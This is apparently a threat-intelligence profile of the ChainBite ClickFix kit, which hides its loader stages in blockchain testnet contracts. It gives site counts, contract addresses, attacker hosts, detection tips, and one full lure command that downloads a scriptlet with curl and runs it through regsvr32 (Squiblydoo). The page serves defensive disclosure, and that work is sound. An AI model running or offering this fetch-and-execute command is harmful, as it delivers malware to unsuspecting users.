ChainBite ClickFix kit
ChainBite is a ClickFix kit that stores each stage of its attack in a different BNB Smart Chain testnet contract. We have matched it on 10,869 sites since 10 August.
ChainBite in numbers
Since 10 August, the first ChainBite match in our records, counted on 12 November 2026. How we count.
| Sites with ChainBite code | 10,869 |
|---|---|
| Sites with a match in the last 30 days | 8,049 |
| New sites in October | 5,154 |
| Sites running WordPress (captured since 25 September) | 55% |
A contract for every stage
ChainBite spreads its whole attack across several contracts on BNB Smart Chain testnet, each with one job:
- The injected loader asks a first contract for the next stage. Depending on the build, it gets back a hostname from
0x9e33a3979f74c7700e4baa7e7a2934556f72ef96(selector0x38bd65e2) or a whole Base64 script from0xA1decFB75C8C0CA28C10517ce56B710baf727d2e(selector0x6d4ce63c). An inline loader reads its script stage from0xDF132E2893824e26Ec8ae8014b4f4FACD54eD67F. - That script checks the visitor, then reads a second contract chosen by operating system. Windows builds read
0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383Ffor0x0cD58060328e308a43d3c53cfd03A45233EA308a; macOS builds read0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5.0xfb6484dC6cbE8af83E940e08748B7DE88b17cB64began as a macOS stage and now returns a router that picks the child by operating system:0x0cD58060328e308a43d3c53cfd03A45233EA308afor Windows and0x0f14777c78d402bed55a67a6eb55dc87cc0b050afor macOS. The inline loader's contract now reaches its lure through that router. - The operating-system contract returns the lure itself, wrapped in Base64 and gzip.
On sites behind the BW panel, the lure keeps score on chain. It gives each visitor an id, stored in a cjs_id cookie: the visitor's public IP address from Avast's IP lookup service, or a random string if that fails. The IP address is also what the operator's server sees when the copied command runs. The lure sends the id as a string to BNB Smart Chain testnet contract 0xf4a32588b50a59a82fba148d436081a48d80832a with selector 0x24513bb6, and the contract answers yes or no. The operator writes the answers through the contract's two write functions, so the contract holds a list of visitors who ran the command.
The lure asks before it shows anything: a visitor already marked yes never sees the fake check. While the check is on screen, the lure asks again every second and takes the check down as soon as the answer turns yes. The checkbox also reports each click to Yandex Metrica counter 99162160 under the same id.
Every stage is fetched through several public RPC services with failover. A separate version runs the same steps on Ethereum Sepolia, reading 0x0EB267784DA2c37fF5b09238C369a8E8d23C9b46 for its gate and, for Windows visitors, 0x0Aa9996FbB680f6F80fd65EB5548F8b8B4F7c4De for the lure.
Researchers and abuse reports file this activity under ClearFake.
On the page
The loader arrives in three forms: a script whose source is a Base64 data: URI, a plain inline script, and an XOR loader that takes two atob values, uses the first as a repeating key for the second and writes the result back into the page. The decoded code centres on a function named load_.
Checks for headless browsers and private networks
Before showing anything, the gate looks for headless browsers and visitors on private networks. If it finds one, it stops and writes stop watching us :) to the browser console.
The lure and the command
The Sepolia version shows a fake reCAPTCHA. The command it copies chains three Windows tools that are already on every machine:
pcalua.exe -a cmd -c "curl.exe -s hxxps://[host]/[id]/verification.sct -o %TEMP%\v.sct&®svr32 /s /n /u /i:%TEMP%\v.sct scrobj.dll"
The Program Compatibility Assistant (pcalua.exe) starts the command prompt, curl downloads a scriptlet, and regsvr32 runs it through scrobj.dll, a technique known as Squiblydoo.
The Windows lure also carries a function that "unscrambles" a string into an invalid hostname. The download address is written straight into the command. Mac visitors are sent to an address on a subdomain made for them alone.
What we see
| Month | New sites |
|---|---|
| September | 4,832 |
| October | 5,154 |
| November so far | 711 |
Of the sites captured since 25 September, 55% run WordPress. Of those, 64% run WordPress 7.1.
Checking a site
Look in the page source for:
- a script whose
srcstarts withdata:text/javascript;base64,, or an inline script you did not add, that calls BNB Smart Chain testnet or Sepolia RPC services - a function named
load_in injected code - two
atob(...)values feeding a loop that XORs one with the other - a
cjs_idcookie set on visitors, or calls to selector0x24513bb6
In a browser's developer console, the message stop watching us :) on your own site settles it.
Contracts we read
We read 17 ChainBite contracts every day.
| Chain | Contract | Current destinations | Last changed |
|---|---|---|---|
| BNB Smart Chain testnet | 0x0cD58060328e308a43d3c53cfd03A45233EA308a | fastly[.]jsdelivr[.]net | |
| BNB Smart Chain testnet | 0x0f14777c78d402bed55a67a6eb55dc87cc0b050a | dashu[.]store | |
| BNB Smart Chain testnet | 0x33830cCEc1a25a55Fc971B127Fc41188F3C349b0 | No destination recorded. | |
| BNB Smart Chain testnet | 0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383Ff | gitlab[.]com | |
| BNB Smart Chain testnet | 0x4a0e8ac014cafcb0aff9e90f68d6c0e0c031360d | gitlab[.]com | |
| BNB Smart Chain testnet | 0x67E496c293d991c684A04F569d6144eAa78d3a40 | No destination recorded. | |
| BNB Smart Chain testnet | 0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5 | fuzy[.]store | |
| BNB Smart Chain testnet | 0x80d31D935f0EC978253A26D48B5593599B9542C7 | No destination recorded. | |
| BNB Smart Chain testnet | 0x886d310ac23e05ea705e24e513d19f53793832a9 | No destination recorded. | |
| BNB Smart Chain testnet | 0x9e33a3979f74c7700e4baa7e7a2934556f72ef96 | likingdropout[.]site | |
| BNB Smart Chain testnet | 0xA1decFB75C8C0CA28C10517ce56B710baf727d2e | fuzy[.]store, gitlab[.]com | |
| BNB Smart Chain testnet | 0xDF132E2893824e26Ec8ae8014b4f4FACD54eD67F | dashu[.]store, fastly[.]jsdelivr[.]net | |
| BNB Smart Chain testnet | 0xe75744c53ec0914fe9be92847019d3d7122b6b77 | dashu[.]store, gitlab[.]com | |
| BNB Smart Chain testnet | 0xf4a32588b50a59a82fba148d436081a48d80832a | No destination recorded. | |
| BNB Smart Chain testnet | 0xfb6484dC6cbE8af83E940e08748B7DE88b17cB64 | dashu[.]store, fastly[.]jsdelivr[.]net | |
| Ethereum Sepolia | 0x0Aa9996FbB680f6F80fd65EB5548F8b8B4F7c4De | 193-233-126-53[.]sslip[.]io, 193-233-82-248[.]sslip[.]io | |
| Ethereum Sepolia | 0x0EB267784DA2c37fF5b09238C369a8E8d23C9b46 | Contract 0x0aa9996fbb680f6f80fd65eb5548f8b8b4f7c4de |
The EtherHiding contract tracker keeps the full destination history.
Hosts its commands download from
ChainBite lure commands we captured download from 5 hosts.
| Host | Sites | Last seen | Latest command |
|---|---|---|---|
193-233-126-53[.]sslip[.]io | 6 | CommandURL First seen 3 October 2026, 1 URL on this host. | |
warmal[.]net | 4 | CommandURL First seen 20 October 2026, 1 URL on this host. | |
swingerwives[.]com | 2 | CommandURL First seen 18 October 2026, 1 URL on this host. | |
degpoints[.]com | 1 | CommandURL First seen 10 October 2026, 1 URL on this host. | |
postaspen18[.]com | 1 | CommandURL First seen 18 September 2026, 1 URL on this host. |
The ClickFix command tracker lists every host.